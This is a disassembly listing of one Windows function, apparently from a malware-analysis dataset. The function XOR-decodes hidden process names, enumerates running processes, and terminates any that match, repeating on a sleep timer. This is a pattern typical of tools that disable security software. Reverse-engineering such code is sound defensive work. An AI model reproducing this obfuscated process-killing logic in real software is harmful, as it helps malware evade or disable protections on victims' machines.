Function at 0x1400048f0
Capabilities:
Encode data using xor
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x1c8]
sub rsp, 0x2c8
mov rax, qword [0x140030040]
xor rax, rsp
mov qword [rbp + 0x190], rax
call fcn.14001de50
cmp word [0x140020b0a], 0
mov r12d, 0x73
movups xmm0, xmmword [0x140020af8]
mov eax, dword [0x140020b08]
mov dword [rsp + 0x30], eax
movups xmmword [rsp + 0x20], xmm0
je 0x14000497b
xor word [rsp + 0x22], 0x33
xor word [rsp + 0x24], 0x34
xor word [rsp + 0x26], 0x35
xor word [rsp + 0x28], 0x36
xor word [rsp + 0x2a], 0x37
xor word [rsp + 0x2c], 0x38
xor word [rsp + 0x2e], 0x39
xor word [rsp + 0x30], 0x3a
xor word [rsp + 0x32], 0x3b
mov word [rsp + 0x20], r12w
lea rcx, [rsp + 0x20]
call fcn.14001e4b0
test eax, eax
je 0x140004d34
xor edx, edx
mov qword [rsp + 0x2f0], rdi
mov r8d, 0x234
lea rcx, [rsp + 0x54]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rsp + 0x50], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x50]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140004d1e
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x140004d1e
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], rsi
mov esi, dword [0x140030088]
mov qword [rsp + 0x2c0], r13
movabs r13, 0x7fffffffffffffff
mov qword [rsp + 0x2b8], r14
movabs r14, 0x4e94914effff
mov qword [rsp + 0x2b0], r15
movabs r15, 0x431bde82d7b634db
movaps xmmword [rsp + 0x2a0], xmm6
nop
cmp word [0x140020b0a], 0
movups xmm0, xmmword [0x140020af8]
mov eax, dword [0x140020b08]
mov dword [rsp + 0x30], eax
movups xmmword [rsp + 0x20], xmm0
je 0x140004a9c
xor word [rsp + 0x22], 0x33
xor word [rsp + 0x24], 0x34
xor word [rsp + 0x26], 0x35
xor word [rsp + 0x28], 0x36
xor word [rsp + 0x2a], 0x37
xor word [rsp + 0x2c], 0x38
xor word [rsp + 0x2e], 0x39
xor word [rsp + 0x30], 0x3a
xor word [rsp + 0x32], 0x3b
mov word [rsp + 0x20], r12w
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140004c09
movups xmm3, xmmword [0x1400208c8]
pextrw eax, xmm3, 7
movups xmmword [rsp + 0x20], xmm3
test ax, ax
je 0x140004bf1
cmp esi, 2
jl 0x140004bb5
movdqa xmm2, xmmword [0x14002b000]
movdqa xmm4, xmmword [0x14002b100]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14002b030]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x14002b010]
paddw xmm2, xmmword [0x14002b070]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rsp + 0x20], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14002b030]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x28]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x14002b070]
xorps xmm2, xmm0
movq qword [rsp + 0x28], xmm2
jmp 0x140004bf1
lea r8, [rsp + 0x20]
xor ecx, ecx
nop dword [rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x36
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x32
xor word [r8 - 2], ax
cmp ecx, 8
jl 0x140004bc0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140004cd7
mov r8d, dword [rsp + 0x58]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x38]
call fcn.140002850
mov rax, qword [rsp + 0x38]
movabs rcx, 0x7ffffffffa0a1efe
lea rbx, [rax + 0x5f5e100]
cmp rax, rcx
jle 0x140004c60
mov rbx, r13
nop dword [rax + rax]
lea rcx, [rsp + 0x40]
call fcn.140002850
mov rax, qword [rsp + 0x40]
cmp rbx, rax
je 0x140004cb9
jl 0x140004cb9
mov rcx, rbx
sub rcx, rax
cmp rcx, r14
jg 0x140004cad
mov rax, r15
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x140004ca4
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140004c60
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140004c60
mov edx, 0x190
lea ecx, [rdx - 0x64]
call fcn.140002930
mov eax, eax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.14000c080
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140004a40
movaps xmm6, xmmword [rsp + 0x2a0]
mov r15, qword [rsp + 0x2b0]
mov r14, qword [rsp + 0x2b8]
mov r13, qword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x2e8]
mov rbx, qword [rsp + 0x2e0]
call fcn.14001de50
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x2f0]
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.14001e600
add rsp, 0x2c8
pop r12
pop rbp
ret